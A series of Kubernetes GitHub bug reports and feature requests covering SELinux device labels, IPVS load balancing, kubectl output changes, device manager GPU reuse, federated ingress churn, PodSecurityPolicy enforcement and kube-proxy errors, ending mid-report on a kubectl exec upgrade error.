<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r i ran an unprivileged pod with a hostpath chardevice passthrough for  /dev/kvm  to run unprivileged accelerated vms in there, but due to selinux labeling issues qemu can't access that device.\r \r    \r ls -lz /dev/kvm\r crw-rw----. 1 root 78 system_u:object_r:kvm_device_t:s0 10, 232 nov  7 14:06 /dev/kvm\r    \r \r   what you expected to happen  :\r using docker's  --device /dev/kvm  option, the following labels are applied and unprivileged access works:\r    \r ls -lz /dev/kvm\r crw-rw----. 1 root 78 system_u:object_r:svirt_lxc_file_t:s0:c448,c733 10, 232 nov 15 02:49 /dev/kvm\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r kubernetes 1.8+: \r    \r kind: job\r apiversion: batch/v1\r metadata:\r   name: kvm-test-job\r spec:\r   template:\r     spec:\r       containers:\r       - name: kvm-test\r         image: ubuntu:17.04\r         command:  \ /bin/ls\ , \ -lz\ ,\ /dev/kvm\  \r         volumemounts:\r         - name: kvm\r           mountpath: /dev/kvm\r       volumes:\r       - name: kvm\r         hostpath:\r           path: /dev/kvm\r           type: chardevice\r       restartpolicy: onfailure\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:39:33z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2+coreos.0\ , gitcommit:\ 4c0769e81ab01f47eec6f34d7f1bb80873ae5c2b\ , gittreestate:\ clean\ , builddate:\ 2017-10-25t16:24:46z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r 3 bare-metal nodes, wireguard + ospf networking\r - os  e.g. from /etc/os-release : container linux by coreos 1520.8.0  ladybug \r - kernel  e.g.  uname -a  : 4.13.9-coreos\r - install tools: diy\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  /area test\r \r   what happened  :\r the cis complain\r \r > w1211 08:08:13.941  traceback  most recent call last :\r w1211 08:08:13.941    file \ /workspace/./test-infra/jenkins/../scenarios/kubernetes_verify.py\ , line 170, in <module>\r w1211 08:08:13.941      main args.branch, args.script, args.force, args.prow \r w1211 08:08:13.942    file \ /workspace/./test-infra/jenkins/../scenarios/kubernetes_verify.py\ , line 138, in main\r w1211 08:08:13.942      check  cmd \r w1211 08:08:13.942    file \ /workspace/./test-infra/jenkins/../scenarios/kubernetes_verify.py\ , line 54, in check\r w1211 08:08:13.943      subprocess.check_call cmd \r w1211 08:08:13.943    file \ /usr/lib/python2.7/subprocess.py\ , line 540, in check_call\r w1211 08:08:13.943      raise calledprocesserror retcode, cmd \r w1211 08:08:13.944  subprocess.calledprocesserror: command ' 'docker', 'run', '--rm=true', '--privileged=true', '-v', '/var/run/docker.sock:/var/run/docker.sock', '-v', '/etc/localtime:/etc/localtime:ro', '-v', '/workspace/k8s.io/kubernetes:/go/src/k8s.io/kubernetes', '-v', '/workspace/k8s.io/:/workspace/k8s.io/',   '-v', '/workspace/_artifacts:/workspace/artifacts'  , '-e', 'kube_force_verify_checks=n', '-e', 'kube_verify_git_branch=master', '-e', 'repo_dir=/workspace/k8s.io/kubernetes', '--tmpfs', '/tmp:exec,mode=1777', 'gcr.io/k8s-testimages/kubekins-test:1.9-v20171018-6ddbad97', 'bash', '-c', 'cd kubernetes && ./hack/jenkins/test-dockerized.sh' ' returned non-zero exit status 2\r e1211 08:08:13.950  command failed\r i1211 08:08:13.950  process 617 exited with code 1 after 4.8m\r e1211 08:08:13.950  fail: pull-kubernetes-unit\r i1211 08:08:13.951  upload result and artifacts...\r i1211 08:08:13.951  gubernator results at https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/57023/pull-kubernetes-unit/70209\r   w1211 08:08:13.951  missing local artifacts : /workspace/_artifacts  \r w1211 08:08:13.952  metadata path /workspace/_artifacts/metadata.json does not exist\r \r https://storage.googleapis.com/kubernetes-jenkins/pr-logs/pull/57023/pull-kubernetes-unit/70209\r https://storage.googleapis.com/kubernetes-jenkins/pr-logs/pull/57023/pull-kubernetes-unit/70212\r https://storage.googleapis.com/kubernetes-jenkins/pr-logs/pull/57023/pull-kubernetes-unit/70236\r \r @ixdy @mkumatag  /retest  does not work.\r \r   what you expected to happen  :\r no such errors

is this a bug report or feature request?  :\r \r   i think? or at least possibly undocumented -- i couldn't find any docs about it -- feature? \r \r    kube-proxy ipvs mode only   \r \r   what happened  :\r if you have let's say a service which is targetting port  4041  on a set of pods that export this port not just as containerport but also as hostport,\r    \r v1.pod spec:\r ...\r         ports:\r         - containerport: 4041\r           hostport: 4041\r           name: testport\r           protocol: tcp\r ---\r v1.service spec:\r   ports:\r   - name: miniapps\r     nodeport: 30985\r     port: 4041\r     protocol: tcp\r     targetport: 4041\r \r    \r and now one of these pods   runs on a node   from where you're trying to reach the service  either the host or any pod on it  it will   always   target the local pod rather than run the normal rr in ipvs. does not happen with iptables backend.\r \r    \r   ipvsadm -ln | grep -a 2 \ 172.31.243.178\  && curl -v 172.31.243.178:4041 -ss -m 1\r tcp  172.31.243.178:4041 rr\r   -> 10.66.137.237:4041           masq    1      0          0         \r   -> 10.66.140.59:4041            masq    1      0          0         \r   rebuilt url to: 172.31.243.178:4041/\r     trying 172.31.243.178...\r   tcp_nodelay set\r   connected to 172.31.243.178  172.31.243.178  port 4041   0 \r > get / http/1.1\r > host: 172.31.243.178:4041\r > user-agent: curl/7.52.1\r > accept:  / \r ... response from the svc\r    \r \r note how the acctconn/inacctconn is 0 no matter how long you keep curling that service.\r when you move the pod off the node it will be rring just fine. just as well when you remove the   hostport  .\r \r i wonder if it is related to this:\r    \r 5089: kube-ipvs0: <broadcast,noarp> mtu 1500 qdisc noop state down group default \r ...\r     inet 172.31.243.178/32 brd 172.31.243.178 scope global kube-ipvs0\r        valid_lft forever preferred_lft forever\r    \r in combination with the hostport marking the packet for local delivery rather than going through the ipvs machinery?\r \r also it might be the cause of  60305 issue quite possibly.\r \r   what you expected to happen  :\r rr even when the pod is running locally.\r \r   how to reproduce it  as minimally and precisely as possible   :\r set up a pod on a node with hostport, run a service on top of it and do a request on the service via svcip, it will always target the local node without rr.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.3\r - cloud provider or hardware configuration: on-prem\r - os  e.g. from /etc/os-release : debian stretch\r - kernel  e.g.  uname -a  : debian latest stable\r - networking: calico in bgp mode\r \r cheers\r ashley\r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  /area kubectl\r  \r   what happened  :\r \r  kubectl create configmap --dry-run  previously output the apiversion and kind, which allowed you to pipe it into an apply later. it no longer does as of kubectl 1.10\r \r    \r kubectl create configmap test --dry-run -o yaml\r metadata:\r   creationtimestamp: null\r   name: test\r    \r \r   what you expected to happen  :\r \r i expect the apiversion and kind to still be included like it does with kubectl from 1.9.6. \r \r    \r ./kubectl create configmap test --dry-run -o yaml\r apiversion: v1\r kind: configmap\r metadata:\r   creationtimestamp: null\r   name: test\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run the command above with a 1.10.0 kubectl and notice hte difference from a 1.9.6 kubectl. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }   \r

failing job\r  gci-gke-reboot  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-reboot \r \r gubernator logs\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-reboot/14474\r \r error\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/lifecycle/reboot.go:116\r may  9 15:49:21.688: test failed; at least one node failed to reboot in the time given.\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/lifecycle/reboot.go:168\r \r triage\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gci-gke-reboot\r \r    commit changes\r https://github.com/kubernetes/kubernetes/compare/c59393e9f...af70337f8\r \r this test is currently failing in sig-release master-blocking suite. this could potentially block beta cut for v1.11 slated for 5/15 . @timothysc can you you please triage this failure?\r \r  / /  @kubernetes/sig-cluster-lifecycle-bugs \r /assign @timothysc \r cc @jberkus @tpepper\r /milestone v1.11

address column is empty in \ kubectl get ingress\  \r \r    \r $ kubectl get ing\r name                 hosts                      address          ports     age\r http-svc             http-svc                                    80        12d\r    \r \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r in  \\kubernetes\\pkg\\kubelet\\cm\\devicemanager\\manager.go\r function :\r func  m  managerimpl  allocate node  schedulercache.nodeinfo, attrs  lifecycle.podadmitattributes  error {} \r it has a var named devicestoreuse . this var stores the devices which init-container ever used , and container can reuse these devices when it allocate devices . \r but if the number of devicestoreuse is bigger than the number of devices which container  s need , these remained devices  can t release until this pod terminates .\r for example , if a pod have init-containers requiring 5 gpus  and containers only requiring 2 gpus , there will be 3 gpus that can't be used by other pod until this pod terminates .\r   what you expected to happen  :\r is it a bug ? if it is , i think we should fix it .\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    v1.12.2\r \r \r <!-- do not edit below this line -->\r  \r 

if i delete /var/log/kube-apiserver or one of the master components logs files it comes back as a directory. i would expect the daemon to create a new file and continue writing to it.   i _think_ you can achieve this by mounting the /var/log directory instead of the file here:  https://github.com/googlecloudplatform/kubernetes/blob/master/cluster/saltbase/salt/kube-apiserver/kube-apiserver.manifest l112  @artfulcoder

https://github.com/kubernetes/kubernetes/pull/20906 makes deployment status updates rejecting label updates. the same change should be applicable to all objects with a status part.  cc: @bgrant0607

similar to  34291 and possibly related to a problem described in  29341.\r \r i have a federation with three clusters  us, asia, europe .  in it i have created a federated ingress which refers to a federated service:\r \r ingress\r    \r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: buttonmasher-frontend\r spec:\r   backend:\r     servicename: buttonmasher-frontend\r     serviceport: 80\r    \r \r service:\r    \r kind: service\r apiversion: v1\r metadata:\r   name: buttonmasher-frontend\r   labels:\r     app: buttonmasher-frontend\r spec:\r   ports:\r     - port: 80\r       targetport: 80\r       nodeport: 30061\r   selector:\r     app: buttonmasher-frontend\r   type: loadbalancer\r    \r \r the deployment has a livenessprobe on /:\r    \r         livenessprobe:\r           httpget:\r             path: /\r             port: 80\r           initialdelayseconds: 2\r           timeoutseconds: 1\r    \r \r parts of the l7 lb are constantly being updated, created and removed.  \r \r over time, the number of instances shown as health in the loadbalancer page in the cloud console flaps - it should be 2/2 from all three regions, but there is generally one or two regions that say 0/2.\r \r the project activity page is a hive of activity.\r    \r 23:33\r create backend service\r 1082022110804@cloudservices.gserviceaccount.com created k8s-be-31488--32faf76db8066d21.\r 23:33\r update firewall rule\r 1082022110804@cloudservices.gserviceaccount.com updated k8s-fw-l7--32faf76db8066d21.\r 23:33\r create http health check\r 1082022110804@cloudservices.gserviceaccount.com created k8s-be-31488--32faf76db8066d21.\r 23:33\r create backend service\r 1082022110804@cloudservices.gserviceaccount.com created k8s-be-31164--32faf76db8066d21.\r 23:33\r delete http health check\r 1082022110804@cloudservices.gserviceaccount.com deleted k8s-be-30276--32faf76db8066d21.\r 23:33\r delete backend service\r 1082022110804@cloudservices.gserviceaccount.com deleted k8s-be-30276--32faf76db8066d21.\r 23:33\r create http health check\r 1082022110804@cloudservices.gserviceaccount.com created k8s-be-31164--32faf76db8066d21.\r 23:33\r create backend service\r 1082022110804@cloudservices.gserviceaccount.com created k8s-be-30276--32faf76db8066d21.\r 23:33\r delete http health check\r 1082022110804@cloudservices.gserviceaccount.com deleted k8s-be-31488--32faf76db8066d21.\r 23:33\r update firewall rule\r 1082022110804@cloudservices.gserviceaccount.com updated k8s-fw-l7--32faf76db8066d21.\r 23:33\r delete backend service\r 1082022110804@cloudservices.gserviceaccount.com deleted k8s-be-31488--32faf76db8066d21.\r 23:33\r create http health check\r 1082022110804@cloudservices.gserviceaccount.com created k8s-be-30276--32faf76db8066d21.\r 23:32\r delete http health check\r 1082022110804@cloudservices.gserviceaccount.com deleted k8s-be-30276--32faf76db8066d21.\r 23:32\r delete backend service\r 1082022110804@cloudservices.gserviceaccount.com deleted k8s-be-30276--32faf76db8066d21.\r    \r \r the backend service for the federated ingress seems to continue to exist, but one each for the consitutent regions come and go:\r    \r $ gcloud compute backend-services list\r name                            backends                                                                                                                                                           protocol\r k8s-be-30061--32faf76db8066d21  us-central1-c/instancegroups/k8s-ig--32faf76db8066d21,europe-west1-c/instancegroups/k8s-ig--32faf76db8066d21,asia-east1-c/instancegroups/k8s-ig--32faf76db8066d21  http\r k8s-be-30276--32faf76db8066d21  asia-east1-c/instancegroups/k8s-ig--32faf76db8066d21                                                                                                               http\r k8s-be-31164--32faf76db8066d21  europe-west1-c/instancegroups/k8s-ig--32faf76db8066d21                                                                                                             http\r $ gcloud compute backend-services list\r name                            backends                                                                                                                                                           protocol\r k8s-be-30061--32faf76db8066d21  us-central1-c/instancegroups/k8s-ig--32faf76db8066d21,europe-west1-c/instancegroups/k8s-ig--32faf76db8066d21,asia-east1-c/instancegroups/k8s-ig--32faf76db8066d21  http\r k8s-be-30276--32faf76db8066d21  asia-east1-c/instancegroups/k8s-ig--32faf76db8066d21                                                                                                               http\r k8s-be-31164--32faf76db8066d21  europe-west1-c/instancegroups/k8s-ig--32faf76db8066d21                                                                                                             http\r k8s-be-31488--32faf76db8066d21  us-central1-c/instancegroups/k8s-ig--32faf76db8066d21                                                                                                              http\r $ gcloud compute backend-services list\r name                            backends                                                                                                                                                           protocol\r k8s-be-30061--32faf76db8066d21  us-central1-c/instancegroups/k8s-ig--32faf76db8066d21,europe-west1-c/instancegroups/k8s-ig--32faf76db8066d21,asia-east1-c/instancegroups/k8s-ig--32faf76db8066d21  http\r k8s-be-30276--32faf76db8066d21  asia-east1-c/instancegroups/k8s-ig--32faf76db8066d21                                                                                                               http\r k8s-be-31488--32faf76db8066d21  us-central1-c/instancegroups/k8s-ig--32faf76db8066d21                                                                                                              http\r    \r \r similarly:\r    \r $ gcloud compute http-health-checks list\r name                            host  port   request_path\r k8s-be-30061--32faf76db8066d21        30061  /\r k8s-be-30276--32faf76db8066d21        30276  /healthz\r k8s-be-31164--32faf76db8066d21        31164  /healthz\r k8s-be-31488--32faf76db8066d21        31488  /healthz\r $ gcloud compute http-health-checks list\r name                            host  port   request_path\r k8s-be-30061--32faf76db8066d21        30061  /\r k8s-be-30276--32faf76db8066d21        30276  /healthz\r k8s-be-31488--32faf76db8066d21        31488  /healthz\r    \r the health check path is /healthz, which i think is the kubernetes default, if nothing is specified?\r \r

bug report\r   kubernetes version  \r v1.4.3+coreos.0\r \r   environment  :\r -   cloud provider or hardware configuration  :\r bare metal coreos installation. 3 management nodes + 2 worker nodes.\r -   os    e.g. from /etc/os-release :\r  coreos stable  1185.3.0  \r -   kernel   \r  4.7.3-coreos-r2 \r \r   what happened  :\r i added an  init-container  to the  kube-scheduler.yaml  file in  /etc/kubernetes/manifests  directory. it was executed once after the yaml file modification. when i rebooted the node running this pod, the pod was restarted but the  init-container  did not execute:\r \r the kube-scheduler.yaml file:\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: kube-scheduler\r   namespace: kube-system\r   annotations:\r     pod.beta.kubernetes.io/init-containers: ' \r       {\r         \ image\ : \ quay.io/coreos/hyperkube:v1.4.3_coreos.0\ ,\r         \ name\ : \ wait-for-master\ ,\r         \ command\ :   \ /bin/bash\ , \ -c\ , \ while ! timeout 1 bash -c \\\ /kubectl --server=http://127.0.0.1:8080/ cluster-info\\\ ; do sleep 1; done\   \r       }\r      '\r spec:\r   hostnetwork: true\r   containers:\r   - name: kube-scheduler\r     image: quay.io/coreos/hyperkube:v1.4.3_coreos.0\r     command:\r     - /hyperkube\r     - scheduler\r     - --master=http://127.0.0.1:8080\r     - --leader-elect=true\r     livenessprobe:\r       httpget:\r         host: 127.0.0.1\r         path: /healthz\r         port: 10251\r       initialdelayseconds: 15\r       timeoutseconds: 1\r    \r \r the pod description after the node reboot:\r    \r name:           kube-scheduler-10.54.147.6\r namespace:      kube-system\r node:           10.54.147.6/10.54.147.6\r start time:     wed, 09 nov 2016 07:51:35 +0100\r labels:         <none>\r status:         running\r ip:             10.54.147.6\r controllers:    <none>\r init containers:\r   wait-for-master:\r     container id:       docker://ff5ef0e759eb332c50fcc117a5758c41080835addbd76e33eb60cdde10d9587b\r     image:              quay.io/coreos/hyperkube:v1.4.3_coreos.0\r     image id:           docker://sha256:5d3bc50f81574bc41952e13862b04b98f310ab60601ff990e7267a4ba5227e8b\r     port:\r     command:\r       /bin/bash\r       -c\r       while ! timeout 1 bash -c \ /kubectl --server=http://127.0.0.1:8080/ cluster-info\ ; do sleep 1; done\r     state:                      terminated\r       reason:                   completed\r       exit code:                0\r       started:                  tue, 08 nov 2016 14:17:27 +0100\r       finished:                 tue, 08 nov 2016 14:17:35 +0100\r     ready:                      true\r     restart count:              0\r     volume mounts:              <none>\r     environment variables:      <none>\r containers:\r   kube-scheduler:\r     container id:       docker://03e40bb84d477e6a284c4bfdf677d15135fe78785b17ae62d09cd04063f81aec\r     image:              quay.io/coreos/hyperkube:v1.4.3_coreos.0\r     image id:           docker://sha256:5d3bc50f81574bc41952e13862b04b98f310ab60601ff990e7267a4ba5227e8b\r     port:\r     command:\r       /hyperkube\r       scheduler\r       --master=http://127.0.0.1:8080\r       --leader-elect=true\r     state:                      running\r       started:                  wed, 09 nov 2016 07:51:36 +0100\r     last state:                 terminated\r       reason:                   error\r       exit code:                2\r       started:                  tue, 08 nov 2016 20:50:42 +0100\r       finished:                 wed, 09 nov 2016 07:48:44 +0100\r     ready:                      true\r     restart count:              4\r     liveness:                   http-get http://127.0.0.1:10251/healthz delay=15s timeout=1s period=10s  success=1  failure=3\r     volume mounts:              <none>\r     environment variables:      <none>\r conditions:\r   type          status\r   initialized   true \r   ready         true \r   podscheduled  true \r no volumes.\r qos class:      besteffort\r tolerations:    <none>\r    \r \r   how to reproduce it  \r create a pod with the  cloud-init  section and pin it to one node. reboot the node several times and check if the  cloud-init  container was executed.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-prod-smoke/1574/  failed:  k8s.io  configmap updates should be reflected in volume  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/configmap.go:160 expected error:     < url.error | 0xc820e884b0>: {         op: \ get\ ,         url: \ https://104.196.48.163/api/v1/namespaces/e2e-tests-configmap-sbcqg/pods/pod-configmaps-f5d580ad-bb55-11e6-8929-0242ac110007\ ,         err: {},     }     get https://104.196.48.163/api/v1/namespaces/e2e-tests-configmap-sbcqg/pods/pod-configmaps-f5d580ad-bb55-11e6-8929-0242ac110007: net/http: tls handshake timeout not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:60       previous issues for this test:  30352

kubernetes version  \r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4\ , gitcommit:\ 7243c69eb523aa4377bce883e7c0dd76b84709a1\ , gittreestate:\ clean\ , builddate:\ 2017-03-07t23:34:32z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r   rkt version  \r    \r rkt version: 1.25.0\r appc version: 0.8.10\r go version: go1.7.4\r go os/arch: linux/amd64\r features: -tpm +sdjournal\r    \r   environment  :\r -   cloud provider or hardware configuration  :  virtualbox \r -   os   : ubuntu 16.04.2 lts\r -   kernel   :  linux k8-mast 4.4.0-66-generic  87-ubuntu smp fri mar 3 15:29:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r \r   what happened  :\r kube-proxy can not start .\r \r    \r using iptables proxier.\r unable to create proxier: can't set sysctl net/ipv4/conf/all/route_localnet: open /proc/sys/net/ipv4/conf/all/route_localnet: read-only file system\r    \r \r   anything else we need to know  :\r \r very similar to https://github.com/coreos/rkt/issues/2751 , but when i edit the  pod for checking  the securitycontext ,  privileged  is here .  \r    \r     securitycontext:\r       privileged: true\r    \r \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r @kubernetes/sig-api-machinery-bugs\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r when i implement the basic psp given  here  https://docs.bitnami.com/kubernetes/how-to/secure-kubernetes-cluster-psp/ case-1-prevent-pods-from-running-with-root-privileges , and then run a container that explicitly asks for root privileges as given in the same link, it executes successfully. for reference, the psp and the container are as follows:\r \r     apiversion: extensions/v1beta1\r     kind: podsecuritypolicy\r     metadata:\r       name: restrict-root\r     spec:\r       privileged: false\r       runasuser:\r         rule: mustrunasnonroot\r       selinux:\r         rule: runasany\r       fsgroup:\r         rule: runasany\r       supplementalgroups:\r         rule: runasany\r       volumes:\r       - ' '\r \r container:\r \r     kubectl run --image=bitnami/mariadb:10.1.24-r2 mymariadb --port=3306 --env=\ mariadb_root_password=gue55m3\ \r \r \r   what you expected to happen  :\r container fails to run with the error\r \r     container has runasnonroot and image will run as root\r \r as far as i can tell, psp is available by default and i shouldn't have to do anything specific to enable it.\r \r   how to reproduce it  as minimally and precisely as possible   :\r on a cluster set up using  kubeadm , join a node and apply the aforementioned psp and then run a container that explicitly asks for root.\r \r   anything else we need to know?  :\r i have also tested this with my own pods, and the result is the same: the pods are scheduled and run as root.\r \r however, if i specify a uid for  runasuser  in the pod description, the pod does run as that user.\r \r also,  kubectl get psp  shows the psp i have applied with correct information.\r \r usual kubernetes functionality seems to be working fine, but i noticed that  /etc/kubernetes/manifests/kube-apiserver.json  is missing on the master.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  1.7.5  on both master and worker nodes.\r \r - cloud provider or hardware configuration  :\r one master node  vm on laptop , one worker node  another physical machine .\r \r - os  e.g. from /etc/os-release :\r ubuntu 16.04.2 on master, linux mint 18.1 on worker.\r \r - kernel  e.g.  uname -a  :\r 4.8 on master, 4.4 on worker\r \r - install tools:\r  kubeadm  to initialize\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  : gce\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i launch kube-proxy as static pod. when i shutdown the host, the kubectl still shows the pods of kube-proxy as running. \r \r   what you expected to happen  :\r it is expected to show its status as something like unknown, as kube apiserver cannot contact kubelet\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. run kube-proxy as static pod\r 2. shutdown the host\r \r   anything else we need to know?  :\r the podcondition of ready shows as false which is correct.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.3o\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : rhel 7.2\r - kernel  e.g.  uname -a  : 3.10.0-327.el7.x86_64\r - install tools:\r - others:\r

upstream issue in gophercloud : https://github.com/gophercloud/gophercloud/issues/232\r upstream fix in gophercloud : https://github.com/gophercloud/gophercloud/pull/604\r \r can we please update to latest gophercloud for 1.9?

\r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r after setting --read-only-port=0 on all kubelets in my cluster, \ kubectl top\  no longer works:\r \r    \r kubectl top node\r error: metrics not available yet\r    \r \r  kubectl top pods --all-namespaces\r                                                                                                     \r  no output is displayed \r \r   what you expected to happen  :\r \r i expected the output as before the change:\r \r    \r kubectl top nodes\r name            cpu cores    cpu%      memory bytes    memory%\r ip-10-9-0-244   63m          7%        1061mi          64%\r ip-10-9-0-80    57m          7%        1008mi          61%\r ip-10-9-1-231   56m          7%        1141mi          69%\r    \r \r    \r kubectl top pods --all-namespaces                                                                                                 \r namespace       name                                         cpu cores    memory bytes \r alb-heartbeat   alb-heartbeat-app-64778c56fc-82tmf           0m           8mi\r alb-heartbeat   alb-heartbeat-app-64778c56fc-xtg9m           0m           16mi\r conduit         controller-5b576d647b-xwpv7                  1m           87mi\r conduit         grafana-7c85b54866-wnhjl                     3m           43mi\r conduit         prometheus-5d8f9cd8b8-r5mgx                  2m           117mi\r conduit         web-5bf454788f-5nnzt                         0m           37mi\r kube-system     heapster-5d758f7c9d-89s6p                    1m           44mi\r kube-system     kube-apiserver-ip-10-9-0-244                 13m          311mi\r kube-system     kube-controller-manager-ip-10-9-0-244        11m          81mi\r kube-system     kube-dns-66d5bc69b8-hcvrn                    0m           40mi\r kube-system     kube-proxy-n4t85                             1m           26mi\r kube-system     kube-proxy-t9tcm                             1m           27mi\r kube-system     kube-proxy-tx7hb                             1m           24mi\r kube-system     kube-scheduler-ip-10-9-0-244                 3m           23mi\r kube-system     kubernetes-dashboard-5bd6f767c7-nw8h2        0m           25mi\r kube-system     nfs-client-provisioner-67995fb67c-nn7p5      0m           13mi\r kube-system     nginx-dummy-ip-10-9-0-80                     0m           2mi\r kube-system     nginx-dummy-ip-10-9-1-231                    0m           3mi\r kube-system     nginx-master-lb-ip-10-9-0-80                 0m           2mi\r kube-system     nginx-master-lb-ip-10-9-1-231                0m           4mi\r kube-system     traefik-ingress-controller-55bb447c4-9czrg   1m           24mi\r kube-system     weave-net-kzdfw                              0m           55mi\r kube-system     weave-net-lfb59                              0m           64mi\r kube-system     weave-net-qprdl                              0m           54mi\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r add --read-only-port=0 to kubelet.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.7\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : centos\r - kernel  e.g.  uname -a  : linux ip-10-9-0-244.eu-west-1.compute.internal 4.16.0-1.el7.elrepo.x86_64  1 smp sun apr 1 20:13:35 edt 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: custom ansible scripts\r - others:\r

when streamwatcher is interrupted with stop   call, it logs an error: e0404 00:23:11.233879       1 iowatcher.go:93  unable to decode an event from the watch stream: read tcp x.x.x.x:80: use of closed network connection e0404 00:23:11.251810       1 iowatcher.go:93  unable to decode an event from the watch stream: read tcp x.x.x.x:80: use of closed network connection  this error is expected, and thus should not be logged.

\r   what happened  :\r \r i 'm in the progress of upgrading kubernetes from v1.9.3 to v1.11.1 in the current k8s cluster.\r \r all k8s master components and kube-proxy run in docker container, kubelet runs in binary mode with systemd.\r \r    upgrad steps:\r - upgrade master  one by one with their components\r - upgrade nodes one by one with their components\r - etcd nodes keep unchanged\r \r after upgrading k8s cluster in replace, i get nginx-hello pod running ok, but cannot run  kubectl exec  which complains with  error: unable to upgrade connection: unable to upgrade: missing upgrade headers in request:  \r \r    bash\r - root@k8s-master-3 appuser   kubectl -n cq-test get po -o wide\r name                                      ready     status    restarts   age       ip               node\r nginx-hello-deployment-5b476b8c7b-4zvph   1/1       running   0          6m       172.12.137.117   10.130.14.67\r \r - root@k8s-master-3 appuser   kubectl -n cq-test exec -it nginx-hello-deployment-5b476b8c7b-4zvph sh\r error: unable to upgrade connection: unable to upgrade: missing upgrade headers in request: http.header{\ connection\ :  string{\ close\ , \ upgrade\ , \ close\ }, \ x-forwarded-for\ :  string{\ 10.130.14.63, 10.130.14.61, 10.130.14.61\ }, \ x-stream-protocol-version\ :  string{\ 